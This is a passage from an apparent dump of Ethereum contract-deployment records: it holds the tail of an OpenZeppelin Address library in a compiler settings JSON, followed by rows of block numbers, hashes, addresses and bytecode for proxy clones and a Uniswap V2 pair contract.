{xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}} |
1 | 20,290,649 | 33375616f667149f1b942866586466e6ada2a62fcd3635d5c10fa7c708bb91b4 | afdae9590b3e318c943aee446486cd3cb0f30de0ebc368fd204acbdb29d321dd | c9aad2fc90eddacf02bd11fa690e3b44e318aa9b | a2a1bf5a83f9daec2dc364e1c561e937163cb613 | f0218e500272471262661b280817440edb70453b | 3d602d80600a3d3981f3363d3d373d3d3d363d7387ae9be718aa310323042ab9806bd6692c1129b75af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7387ae9be718aa310323042ab9806bd6692c1129b75af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,653 | 3a6805a48623fece2429fcc952f659920e2ad8035ba0f29257b0c790cc291e1d | d5e180d82af27ee467554f5611053c0a44ecd13bbb1af094a5ed265bc4a8be1a | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | ee34e78308b3094aaceeedbbb4e0a9fbf6816bbc | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 20,290,653 | 3a6805a48623fece2429fcc952f659920e2ad8035ba0f29257b0c790cc291e1d | d5e180d82af27ee467554f5611053c0a44ecd13bbb1af094a5ed265bc4a8be1a | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | 4cfd342f7d1981fbd8269049e25e5ce80f47ca10 | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 20,290,653 | 3a6805a48623fece2429fcc952f659920e2ad8035ba0f29257b0c790cc291e1d | d5e180d82af27ee467554f5611053c0a44ecd13bbb1af094a5ed265bc4a8be1a | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | 589a0cf80c1ea2b8714a81b34bdc80febf596405 | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 20,290,653 | 3a6805a48623fece2429fcc952f659920e2ad8035ba0f29257b0c790cc291e1d | d5e180d82af27ee467554f5611053c0a44ecd13bbb1af094a5ed265bc4a8be1a | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | 78bd27e78f8014dec6883eb82a2e73e70a79bb98 | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 20,290,653 | 3a6805a48623fece2429fcc952f659920e2ad8035ba0f29257b0c790cc291e1d | d5e180d82af27ee467554f5611053c0a44ecd13bbb1af094a5ed265bc4a8be1a | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | 42c9932c6fb8fe2977f465024b6f997b239a1d29 | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 20,290,653 | 3a6805a48623fece2429fcc952f659920e2ad8035ba0f29257b0c790cc291e1d | d5e180d82af27ee467554f5611053c0a44ecd13bbb1af094a5ed265bc4a8be1a | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | bb4567526801751490a6ad59d3562b00ae742e09 | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 20,290,654 | 00d7bc33ed7f9acc40da314844283c846d17ad91fd6132b0f47644b3f2be3771 | 76221127e7c01a8036943b549f96b9c85e165c6486b59931b721c5baf0768ae8 | 8a232ff3bd1e335c01ffe6218291e1a3a285cf88 | 5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f | 6861b8cd6aee153772751a9f560f8da2ce3ab041 | 60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e4